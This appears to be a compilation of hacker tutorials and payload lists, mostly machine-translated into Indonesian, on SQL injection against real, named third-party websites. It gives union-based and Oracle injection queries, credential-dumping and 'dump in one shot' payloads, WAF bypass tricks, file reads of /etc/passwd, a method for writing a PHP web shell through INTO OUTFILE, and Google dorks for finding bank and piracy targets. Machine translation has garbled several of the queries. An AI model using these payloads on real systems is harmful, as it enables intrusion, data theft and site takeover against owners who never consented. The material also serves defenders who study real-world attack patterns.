- Ini akan menemukan torrent pribadi yang terbuka untuk didaftarkan.
- hotfile + mediafire + "http: //" + "rar" horor 2010 dvdrip,
- (hotfile | mediafire) .rar 2010 horor dvdrip
- Ini akan menemukan situs-situs rahasia dengan film dvdrip hanya mengubah horor.
- dvdrip 400mb "2010"
- Ini akan menemukan film ripping dvdrip dalam 400mb dan terbaru.
- sql dork bank injeksi
- Ini akan menemukan bank dorks untuk meretas google.
- inurl: archive / index.php "visual basic"
- -4LPH4
- POST METHOD
- ------------
- http://mosii.gametrailers.com/getmediainfo4.php?mid=47330 and false UNION SELECT 1,@@version,333,4444,5,6,7,8,0,10,11,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
- http://sharemobile.ro/index.php
- &login=login&password=xxxxxxxxxx&username=asdasdasd' and false union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
- http://www.articlemarketingrobot.com/db/select.php
- sql=select/**/*/**/from/**/_articlequeue/**/where/**/1=2/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11/**/%23&dbid=a6b65df1-14b4-47a0-98f7-c7e420deda3f&cb=ZZCZXV36
- ~h
- -----------------------------------------------
- UNION SELECT BASED
- -------------------------------------------------------------------------
- http://127.0.0.1/defcamp/0_o/index.php?id=2%27+and+1=0+union+select+1,2,3,4,5,(SELECT-!!-1||! !N'1'|2),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
- http://www.communityinclusion.org/staff.php?staff_id=1+and+1=2+UNION+SELECT+1,2,3,4,5,6;%00
- http://poze.exn.ro/poze.php?id=202&poze=vedete"+and+false+union+all+select+1,2,version(),4,5,6+and+"1"="1
- test.ru/test.php?id=-40+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(members)where(0x00)in(@x:=concat(@x,0x3c62723e,mail,0x3a,pwd))))x),3,4,5,6,7,8,9--+
- http://www.marinaplast.com/page.php?id=13 div 0 union select 1,2,3,4,5
- mysite.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
- mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+--+
- mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>'mytable'+--+
- mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>0x6d797461626c65+--+
- mysite.com/index.php?id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5+from+0x6578616d706c656462322e61646d696e6973747261746f7273--
- mysite.com/index.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+where+id=1+--+
- mysite.com/index.php?id=9086 UNION /*!SELECt*/ 1,2,grouP_ConCat(column_name),4,5,6,7,8 from /*!information_schema*/.columns where table_schema=database()--
- mysite.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
- mysite.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
- mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
- mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
- mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
- mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
- mysite.com/index.php?a=newsdetail&id=-1/*!AND*/1=1+UNiOn+ALl+SelECt+1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9/**/limit/**/1,2
- +and+1=0+union+select+ sql_no_cache +1,2,3,4,5
- http://www.microage-bathurst.ca/services.php?id=-7+union+select+1,hex(group_concat(table_name)),3,4+from+information_schema.tables+where+table_rows>0--
- http://www.imsports.msu.edu/clubs/clubDisp.php?id=-71+union+select+1,GROUP_CONCAT(concat_ws(0x3a,table_schema,TABLE_NAME)+SEPARATOR+0x3C62723E),3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+column_name+like+0x257061737325+or+column_name+like+0x25702577256425--+
- http://web.riss.ru/cgi-bin/riss.cgi?action=news_show&lang=concat_ws(0x3a,user(),database(),version())+FROM+riss_news+LIMIT+1--+&id=-1+union+select+1,2,3
- http://www.wbdg.org/ccb/browse_org.php?o=70+and+1=10+union+select+111111111113371111111111,2--
- concat(@i:=0x00,@o:=0xd0a,benchmark(61,@o:=CONCAT(@o,0xd0a,(SELECT+concat(table_schema,0x2E,@i:=table_name)+FROM+information_schema.tables+WHERE+table_name>@i+order+by+table_name+LIMIT+1))),@o)
- ~Ph.h4rh4r
- List of HTTP status codes
- 400 ===> (Bad request)
- 401 ===> (Authorization required)
- 402 ===> (Payment required)
- 403 ===> (Forbidden)
- 404 ===> (Not found)
- 405 ===> (Method not allowed)
- 406 ===> (Not acceptable)
- 407 ===> (Proxy authentication required)
- 408 ===> (Request timeout)
- 409 ===> (Conflict)
- 410 ===> (Gone)
- 411 ===> (Length required)
- 412 ===> (Precondition failed)
- 413 ===> (Request entity too large)
- 414 ===> (Request URI too large)
- 415 ===> (Unsupported media type)
- 416 ===> (Request range not satisfiable)
- 417 ===> (Expectation failed)
- 422 ===> (Unprocessable entity)
- 423 ===> (Locked)
- 424 ===> (Failed dependency)
- 500 ===> (Internal server error)
- 501 ===> (Not Implemented)
- 502 ===> (Bad gateway)
- 503 ===> (Service unavailable)
- 504 ===> (Gateway timeout)
- 505 ===> (HTTP version not supported)
- 506 ===> (Variant also negotiates)
- 507 ===> (Insufficient storage)
- 510 ===> (Not extended)
- ~{Injection type}~
- -----------------------------------------------
- HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (Current URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- LDAP Injection (Search)
- Mail Header Injection (SMTP)
- OS Command Injection
- OS Command Injection - Blind
- PHP Code Injection
- Server-Side Includes (SSI) Injection
- SQL Injection (GET/Search)
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- SQL Injection (CAPTCHA)
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- SQL Injection (Drupal)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (Web Services/SOAP)
- XML/XPath Injection (Login Form)
- XML/XPath Injection (Search)
- Hard WAF Bypass :)
- The Methods
- .
- id=1.unioN/**/distinct%20%73eleCt""a
- id=1%.0unioN/**/distinct%20%73eleCt+-!~
- id=1%""unioN/**/distinct%20%73eleCt@$%
- id=1%''unioN/**/distinct%20%73eleCt@%C0%
- id=1-.0unioN/**/distinct%20%73eleCt@%C0/
- id=1=\NunioN/**/distinct%20%73eleCt@%FF|
- id=1<0.unioN/**/distinct%20%73eleCt@=
- id=1>0.unioN/**/distinct%20%73eleCt~.
- id=1e0unioN/**/distinct%20%73eleCt""$
- id=1^0.unioN/**/distinct%20%73eleCt!~
- id=1|""unioN/**/distinct%20%73eleCt\N$
- id=1|''unioN/**/distinct%20%73eleCt\N%FF
- id=1|.0unioN/**/distinct%20%73eleCt!@
- id=1|\NunioN/**/distinct%20%73eleCt""/
- Source: https://pastebin.com/qzNp6zha
- -Credits.
- Oracle SQL Injection dan DIOS Query
- Dalam Nama ALLAH Yang Maha Pengasih dan Penyayang
- Setelah mendapatkan banyak permintaan untuk menambahkan DIOS dan tutorial Injeksi ralated database lainnya pada Securityidiots. Di sini kita bangun dengan Oracle Based SQL Injection dan DIOS tutorial
- Berikut adalah dasar-dasar Oracle Union Based Injection yang dapat Anda gunakan untuk menyuntikkan situs berbasis oracle Union Based Oracle Injection
- Saya harap membaca Union Based Oracle Injection di atas sekarang Anda tahu cara menyuntikkan situs berbasis oracle, sekarang kita akan menyuntikkan "http://demosite.com/page.php?id=1" di tutorial kami. Mari kita lihat apakah masukan di bawah ini memberi kita kesalahan. Sebelum kita mulai menonton video dasar ini yang berisi bagaimana menggunakan beberapa pertanyaan di bawah ini, maka Anda dapat membaca tutorial yang memberikan penjelasan lebih lanjut dan beberapa contoh lain dari DIOS oracle dan injeksi.
- http://demosite.com/page.php?id=1 '
- Sekarang jika kita memiliki kesalahan memungkinkan menyeimbangkan permintaan.
- http://demosite.com/page.php?id=1 'pesanan oleh 1--
- Tidak Ada Kesalahan
- http://demosite.com/page.php?id=1 'pesanan sebesar 8--
- Tidak Ada Kesalahan
- http://demosite.com/page.php?id=1 'pesanan sebesar 9--
- Kesalahan
- Sekarang kita tahu 8 adalah kolom terakhir yang berfungsi, jadi sekarang kita bisa mencoba serikat pekerja.
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih 111,222,333,444,555,666,777,888--
- Jika Anda mendapatkan beberapa kesalahan, maka cobalah
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
- dan temukan kolom yang rentan secara manual, tetapi anggaplah itu juga tidak berhasil, maka cobalah ini.
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
- Semoga mencampur salah satu trik di atas dapat berhasil.
- Anggaplah ketiga adalah kolom rentan, yang dicetak di layar. Mari mulai mengekstraksi data melalui kolom ketiga, pertama-tama kita akan mengekstrak versi database.
- Untuk mendapatkan versi yang kami gunakan (pilih spanduk dari v $ version di mana rownum = 1)
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (pilih banner dari v $ version di mana rownum = 1), NULL, NULL, NULL, NULL, NULL--
- Sekarang mari dapatkan database saat ini menggunakan SYS.DATABASE_NAME.
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, SYS.DATABASE_NAME, NULL, NULL, NULL, NULL, NULL--
- Sekarang sisa bagian yang akan kita lakukan menggunakan DIOS (Dump dalam satu tembakan) untuk Oracle. Tidak seperti DIOS Oracle DOS lain yang sederhana di mana kita hanya menggunakan fungsi wm_concat untuk mengekstrak data dari database.
- http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (PILIH ganti (wm_concat ('<li>' || table_name), ',', '') FROM all_table), NULL, NULL, NULL, NULL, NULL--
- Query di atas akan memberi Anda semua tabel, sekarang mari kita dapatkan kolom untuk tabel, tapi itu tidak semuanya lebih dari apa yang dapat Anda lakukan: D. Karena wm_concat terbatas dalam output, kami tidak dapat menyebutnya DIOS lengkap, jadi ya kami akan segera bekerja pada beberapa versi lain untuk DIOS Oracle, tetapi untuk sekarang di sini ada beberapa cara lain yang dapat Anda coba.
- http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih LISTAGG (table_name,' <li> ') dalam grup ( ORDER BY table_name) dari all_tables) || '<! -', NULL, NULL dari dual - & lang = it
- http://www.beaconhouse.edu.pk/cms_main_career.php?id=9&subpg=1&pjobid=-22050 dan 0 = 1 UNION + SELECT NULL, (pilih wm_concat ('<li>' || table_name || ':' || column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns urutan oleh table_name desc) shell di mana rnum <120) || '<! -', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
- http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih wm_concat (' <li> '|| table_name ||' : '|| column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns order oleh table_name desc) shell di mana rnum <120) ||' <! - ', NULL, NULL dari dual - & lang = it
- Itu semua untuk saat ini, sampai jumpa lagi dengan tutorial kami berikutnya: D
- Diko rin naget ke hahaha. share ko nalang: D
- Sumber: SecurityIdiots.com
- Bypass 404 :)
- bypass1: order by x,x-- -
- bypass2: union select x,x-- -
- bypass3: =-x' UNION /*!SELECT*/ x,x-- -
- bypass4: x,x,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
- bypass5: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema.tables where table_schema=database()-- -
- bypass6: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema./*!tables*/ where table_schema=database()-- -
- bypass7: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,column_name) from information_schema./*!columns*/ where table_name=0x(convert to hex)-- -
- bypass8: /*!UNION /*!SeLeCT*/ 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x7c,abc),14,15,16,17,18 from xyz-- -
- SQLi Waf Bypass
- /*!31337ConCaT*/(0x496e6a656374656420627920316d70333231756d3c62723e486f73746e616d653a20,@@hostname,0x3c62723e44617461626173653a20,database/**X**/(),0x3c62723e56657273696f6e3a20,version/**X**/(),0x3c62723e557365723a20,user/**X**/(),0x3c62723e,(/*!31337sELecT*/(@)/*!31337from*/(/*!31337sELecT*/(@:=0x00),(/*!31337sELecT*/(@)/*!31337from*/(`InFoRMAtiON_sCHeMa`.`ColUMNs`)/*!31337where*/(`TAblE_sCHemA`=DaTaBaSe/**X**/())and(@)in(@:=/*!31337CoNCat*/(@,0x3c62723e20,/*!31337TaBLe_nAMe*/,0x203a3a20,/*!31337column_name*/))))a))
- (/*!31337select*//*!31337concat*/(0x496e6a6563746564206279204e64697669633430343c62723e44617461626173653a20,database/**/(),0x3c62723e56657273696f6e3a20,version/**/(),0x3c62723e,@:=0x2d2d2d,(/*!31337select*/count(*)/*!31337from*//*!31337information_schema*/./*!31337columns*//*!31337WhErE*/(/*!31337TaBlE_ScHeMa*/!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!31337concat*/+(@,0x3c62723e,/*!31337table_name*/,0x3a3a,/*!31337column_name*/)),@))
- +div+@div:=(/*!31337concat*/(@c:=0x00,if((/*!31337select*/+/*!31337count*/(*)/*!31337from*/+/*!31337information_schema*/./*!31337columns*/+/*!31337where*/+/*!31337table_schema*/=database/*ndivic*/()+and+@c:=/*!31337concat*/(@c,0x3c62723e, /*!31337table_name*/,0x2e,/*!31337column_name*/)),0x00,0x00),@c))+/*!31337UNION*/+ALL+/*!31337SELECT*/+
- Hai Im Ph.h4rh4r dari Blue Security Hackers
- Saya akan menunjukkan itu adalah Metode berbasis String
- Situs contoh: http://www.gwapoako.com/readnews.php?id=6
- 1: meninggalkan akhir 'pre check jika vuln situs dalam injeksi sql
- http://www.gwapoako.com/readnews.php?id=6 '
- Peringatan: mysql_fetch_array () mengharapkan parameter 1 menjadi sumber daya, boolean diberikan dalam /home/jungleisland/gwapoako.com/readnews.php on line 34
- kesalahan db? berarti rentan.
- ini adalah cara mendapatkan metode berbasis string di situs
- 2: tingkatkan akhir Anda
- http://www.gwapoako.com/readnews.php?id=6 ''
- tidak ada kesalahan diba? berarti Metode Berbasis String tidak akan digunakan
- kami memiliki contoh yang dapat digunakan untuk Metode Berbasis String
- Contoh:
- '- -
- '- +
- 3: periksa apakah beberapa kolom berada di situs menggunakan pesanan oleh.
- http://www.gwapoako.com/readnews.php?id=6 'pesanan sebesar 5-- -
- memesan dengan 5 kesalahan pesanan pero ung oleh 4 ok
- berarti ung situs 4 kolom saya
- 4: menggunakan union pilih.
- http://www.gwapoako.com/readnews.php?id=6 'serikat pilih 1,2,3,4-- -
- Contoh Anda melihat 3 dan 4, itu berarti kolom yang rentan
- 5: Saya akan menggunakan SANG PENCIPTA untuk membuat saya mudah
- (Dengan peretasan)
- DIOS = Dump Dalam Satu Tembakan
- Ini akan menggunakan kueri pra-dump pada tabel dan kolom situs. dan query n ini diletakkan pada kolom vuln pro I letakkan s 3 kolom 3 juga dapat nmn s kolom 4
- make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/*!50000information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!50000table_name*/,/ *! 50000column_name * /)), @)
- serikat http://www.gwapoako.com/readnews.php?id=6' pilih 1,2, make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/ *! 50000information_schema. kolom * / di mana @ = make_set (511, @, 0x3c6c693e, / * 50000table_name * / / * 50000column_name * /)), @), 4) -!! 20%
- Selesai 🙂 Selamat Meretas 🙂
- saya akan memberitahu methodh tentang shell upload melalui query
- Pertama-tama menemukan situs web yang rentan terhadap injeksi sql. Anda dapat menemukan situs web oleh dorks atau secara manual seperti saya telah menemukan ini.
- Anda membutuhkan 2 hal utama:
- 1- Jalur Akar dari situs web
- 2- Direktori yang bisa ditulisi
- Sebagian besar waktu, Anda akan melihat jalan root dalam kesalahan SQL situs tersebut. Seperti yang berikut.
- Peringatan: mysql_fetch_assoc () mengharapkan parameter 1 sebagai sumber daya, boolean diberikan di /home/aeiti/public_html/admin/requires/functions.php on line 1327
- Nah Jika situs web yang rentan tidak menunjukkan jalur root maka jangan khawatir saya akan menunjukkan cara untuk mengetahui jalur root. Dan Juga Direktori yang Dapat Ditulis.
- http://www.jantv.in/comments/showmore.php?id=68884 '
- Saya tidak memulai dengan abc dari SQLI Saya harap Anda tahu dasar-dasarnya. : D
- Sekarang kita harus menemukan kolom situs web kemudian kolom yang rentan seperti situs saya memiliki 11 kolom dan 5 kolom rentan
- http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4,5,6,7,8,9,10,11-- -
- http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, versi (), 6,7,8,9,10,11-- -
- Mari Coba Coba Muat Berkas Situs Web
- http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / passwd '), 6,7,8,9,10, 11-- -
- http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / my.cnf '), 6,7,8,9, 10,11-- - -
- http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / group '), 6,7,8,9,10, 11-- -
- http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / services '), 6,7,8,9,10, 11-- -
- http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / hosts '), 6,7,8,9,10, 11-- -
- Kami tidak perlu membaca file apa pun yang disebutkan di atas hanya untuk menambah pengetahuan Anda. Sekarang kita harus memeriksa hak akses file untuk pengguna saat ini untuk pertama kali ini Anda harus menemukan nama pengguna saat ini.
- Seperti ini
- http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, current_user, 6,7,8,9,10,11-- -
- Nama Pengguna Saat Ini kami adalah root
- Sekarang Periksa Privilages File untuk root Pengguna
- http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, file_priv, 6,7,8,9,10,11 DARI mysql.user WHERE pengguna = 'root' - -
- yang menunjukkan Y :)
- Jika itu menunjukkan Y (ya) pada kolom rentan situs web yang berarti kita memiliki hak akses file untuk root pengguna saat ini
- Dan jika tidak menunjukkan Y maka jangan buang waktu Anda di sana: D
- Sekarang kita harus menemukan direktori yang bisa ditulisi untuk ini Anda dapat menggunakan google dorks juga dan pengetahuan Anda juga :)
- tapi di sini kamu akan terjebak untuk menemukan direktori ....
- saya tahu Anda berpikir bahwa Anda akan meletakkan 'dan Anda akan mendapatkan direktori dalam kesalahan: p :)
- http://www.jantv.in/comments/showmore.php?id=68884 '
- Lihat tidak ada diektori: D
- sekarang
- ada satu lagi trik untuk mendapatkan direktori
- gunakan "[]" ini sebelumnya = 68884
- seperti
- http://www.jantv.in/comments/showmore.php?id[]=68884
- coba lihat apa yang akan terjadi
- lihat di sini kita mendapatkan direktori :) :)
- sekarang kita akan mengunggah kode jahat kita di kolom vuln 3 :): D: D
- http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, "<? system ($ _ REQUEST [' sembarang perintah u punya :) ']) ;? > ", 6,7,8,9,10,11 ke dalam file 'outfile' ke C: /wamp/www/comments/name_u_want.php '- + -
- tapi aku punya milikku :)
- saya hanya mengubah kode saya di Hex :)
- http://www.jantv.in/comments/showmore.php?id=68884'+UNION+ALL+SELECT+1,2,3,4,0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646 ke outfile 'C: / wamp / www / comments / any_name_u_want. php '- + -
- maka kamu akan mendapatkan seperti itu artinya kamu meng-upload kode ur :)
- lalu periksa
- http://www.jantv.in/comments/any_name_u_typed.php: D
- Anda akan mendapatkan opsi browse di mana Anda dapat memilih shell Anda
- biarkan melihat
- yang saya singkirkan shell saya :): D saya menemukan shell itu oleh Anas bro thnks Anas bro :)
- ok sekarang lihat opsi unggah
- klik di atasnya
- sekarang lihat file berhasil diunggah :)
- sekarang buka dengan metode yang sama seperti sebelumnya
- http://www.jantv.in/comments/any_name_of_any_thing_u_uploaded.php
- lihat wee berhasil meng-upload shell via query sqli :)
- Terima kasih
- http: // www.che.iitm.ac. di / dalam .php? id = 6
- http: // www.che.iitm.ac. di / dalam .php? id = 6 'Union Select 1,2-- -
- jika Anda mencoba untuk menyeimbangkan pesanan secara normal oleh atau grup saat itu Anda akan
- temukan 2 kolom && this shit error "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda"
- Dalam jenis kesalahan ini kami mencoba beberapa metode seperti
- Kolom 1.Bruteforce,
- 2.do hex di semua kolom
- 3. menghasilkan query + dll
- 4. atau berbasis kesalahan
- Ada opsi lain untuk menyeimbangkan permintaan seperti ini ...
- + GROUP + BY + 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 , 24,25,26,27,
- Sekarang coba cara ini untuk mendapatkan kolom
- http://www.che.iitm.ac.in/inner.php?id=6 '+ GROUP + BY
- + 1, 2,3, 4, 5, 6, 7,8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25 , 26, 27, -
- Kolom tidak dikenal '8' di 'pernyataan grup'
- jadi ada 7 kolom :)
- Mari coba ini
- http: // www.che.iitm.ac. di / dalam .php? id = 6 'dan 0 Union Pilih 1,2,3,4,5,6,7-- -
- tetapi ini "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda" lagi: 3
- Sekarang coba cara Anda untuk melewati kesalahan ini
- http://www.che.iitm.ac.in/inner.php?id=6 'dan 0 Union
- Pilih 111, 2222,3333, 4444, 5555,6666, 7777-- -
- tidak berfungsi
- http: // www.che.iitm.ac. dalam / inner .php? id = 6 'dan 0 Union Select versi (), versi (), versi (), versi (), versi (), versi (), versi () - -
- juga tidak berfungsi
- Anda dapat mencoba lebih banyak cara lain seperti mengganti col palsu, nol atau kekuatan kasar, bt yang panjang
- Dalam tantangan ini saya menemukan sesuatu yang berbeda ...
- : 3
- ok mari coba kueri yang diarahkan
- Kita tahu dalam query yang diarahkan setiap kolom diganti dengan nol atau hex dengan satu "'" atau "1' - -"
- http://www.che.iitm.ac.in/inner.php?id=-6 'Union
- Pilih 1, 0x3227, 3, 4, 5, 6,7 - -
- :)
- ditemukan kesalahan dalam kolom no. 2
- http: // www.che.iitm.ac. di / dalam .php? id = - 6 'Union Select 1, "2' - -", 3,4,5,6,7-- -
- :)
- Jika Anda mencoba ini, Anda akan menemukan kolom 4 secara otomatis
- : D
- atau Anda dapat melakukan penyatuan berdasarkan lagi kolom yang diarahkan ini
- tapi saya katakan menggunakan serikat pilih hanya 1 kali
- sekarang yang lain adalah tugas yang mudah
- Terima kasih .....
- SQL COMMENTS
- ‘ or 1=1#‘ or 1=1– –‘ or 1=1/* (MySQL < 5.1)
- ' or 1=1;%00
- ' or 1=1 union select 1,2 as `
- ' or#newline1='1'
- or– -newline1='1'
- /*!50000or*/1='1'
- /*!or*/1='1
- [-----------------------------------------------------]
- PREFIXES
- + – ~ !
- ‘ or –+2=- -!!!’2
- [-----------------------------------------------------]
- OPERATORS
- ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,,
- XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY,BETWEEN, ISNULL
- [-----------------------------------------------------]
- WHITESPACES
- %20 %09 %0a %0b %0c %0d %a0 /**/
- ‘or+(1)sounds/**/like“1“–%a0-
- ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
- [-----------------------------------------------------]
- No Whitespace Bypass Using Comments
- ?id=1/*comment*/and/**/1=1/**/--
- No Whitespace Bypass Using Parenthesis
- ?id=(1)and(1)=(1)--
- [-----------------------------------------------------]
- EXTRACT SUBSTRINGS
- substr(‘abc’,1,1) = ‘a’
- substr(‘abc’ from 1 for 1) = ‘a’
- substring(‘abc’,1,1) = ‘a’
- substring(‘abc’ from 1 for 1) = ‘a’
- mid(‘abc’,1,1) = ‘a’
- mid(‘abc’ from 1 for 1) = ‘a’
- lpad(‘abc’,1,space(1)) = ‘a’
- rpad(‘abc’,1,space(1)) = ‘a’
- left(‘abc’,1) = ‘a’
- reverse(right(reverse(‘abc’),1)) = ‘a’
- insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
- space(0) = trim(version()from(version()))
- `
- `
- `
- ©M4c
- SQL INJECTION: BYPASSING WAF (WEB APPLICATION FIREWALL)
- *** tutorial ini untuk menunjukkan kepada Anda bagaimana cara Bypass WAF (Aplikasi Web Firewall) ***
- http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+Union+select+1,2,3,4,5,6,7,8,9--
- seperti yang kita lihat [pilih] adalah down double text [Mengganti kata kunci] seperti SeLselectECT ini
- www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--
- [5] WAF Bypassing - menggunakan karakter.
- Ada banyak sekali karakter yang tersedia yang dapat kita gunakan untuk mem-bypass filter WAF.
- karakter berikut dapat melakukan ini:
- |,?, ", ', *,%, £, [],;,:, \ /, $, €, () ...
- dengan menggunakan karakter ini dalam banyak kasus / *! * / tidak difilter. Tetapi tanda * diganti dengan spasi dan kesatuan - pilih disaring. yang berarti mengganti kata kunci tidak akan berfungsi.
- Dalam kasus ini kita dapat menggunakan karakter * untuk memisahkan kata kunci.
- Kami akan melakukan hal logis berikutnya:
- www. [situs] .com / index.php? id = -1 + uni * pada + sel * ect + 1,2,3,4 - + -
- Hampir sama dengan membagi kata kunci.
- Tetapi dalam hal ini hanya * disaring oleh itu menggantikannya sedikit pun ruang memiliki hasil yang sama seperti dalam membagi kata kunci.
- [6] Advanced WAF Bypassing - Kapitalisasi.
- Cara lain adalah dengan hanya memanfaatkan karakter kita.
- Daripada unIoN serikat Dalam beberapa dasar WAF ini akan berhasil.
- Contoh di URL:
- www. [site] .com / index.php? id = -1 + UnIoN + SeLeCt + 1,2,3,4 - + -
- [7] Polusi Parameter HTTP (HPP)
- HTTP Parameter Pollution (HPP) adalah teknik penghindaran serangan Web yang memungkinkan penyerang untuk membuat permintaan HTTP untuk memanipulasi atau mengambil informasi tersembunyi. Teknik pengelakan ini didasarkan pada pemisahan vektor serangan antara beberapa contoh parameter dengan nama yang sama. Karena tidak ada RFC HTTP yang relevan mendefinisikan semantik manipulasi parameter HTTP, setiap platform pengiriman aplikasi web dapat mengatasinya secara berbeda. Secara khusus, beberapa lingkungan memproses permintaan seperti itu dengan menggabungkan nilai-nilai yang diambil dari semua contoh nama parameter dalam permintaan. Perilaku ini disalahgunakan oleh penyerang untuk mem-bypass mekanisme keamanan berbasis pola.
- kita melihat dua vektor injeksi SQL: "Regular attack" dan "Attack using HPP". Serangan reguler menunjukkan injeksi SQL standar dalam parameter prodID. Serangan ini dapat dengan mudah diidentifikasi oleh mekanisme deteksi keamanan, seperti Firewall Aplikasi Web (WAF). Serangan kedua [Gambar 2] menggunakan HPP pada parameter prodID. Dalam hal ini, vektor serangan didistribusikan di beberapa kejadian parameter prodID. Dengan kombinasi yang tepat dari lingkungan teknologi dan server web, serangan itu berhasil. Agar WAF untuk mengidentifikasi dan memblokir vektor serangan lengkap yang diperlukan untuk juga memeriksa input gabungan.
- http://testasp.vulnweb.com/showforum.asp?id=-1 union pilih 1,2 -
- testasp.vulnweb.com/showforum.asp?id=-1/* & id = * / union / * & id = * / select / * & id = * / 1,2 -
- Teknik HPP
- Spoiler (Klik untuk Melihat)
- [8] Teknik Bypass WAF CRLF
- CR LF berarti "Pengangkutan Kembali, Umpan Jalur"
- CR LF berarti "Carriage Return, Line Feed" -itu adalah hangover DOS dari masa lalu ketika beberapa perangkat memerlukan Pengembalian Pengangkutan, dan beberapa perangkat membutuhkan Feed Line untuk mendapatkan baris baru, sehingga Microsoft memutuskan untuk membuat baris memiliki kedua karakter, sehingga mereka akan menampilkan dengan benar di semua perangkat.
- Program Windows mengharapkan format baris baru mereka di CRLF (\ r \ n). * nix hanya mengharapkan data LF (\ n). Jika Anda membuka dokumen teks Unix di Notepad pada windows, Anda akan melihat bahwa semua jeda baris menghilang dan seluruh dokumen berada pada satu baris. Itu karena Notepad mengharapkan data CRLF, dan dokumen Unix tidak memiliki karakter.
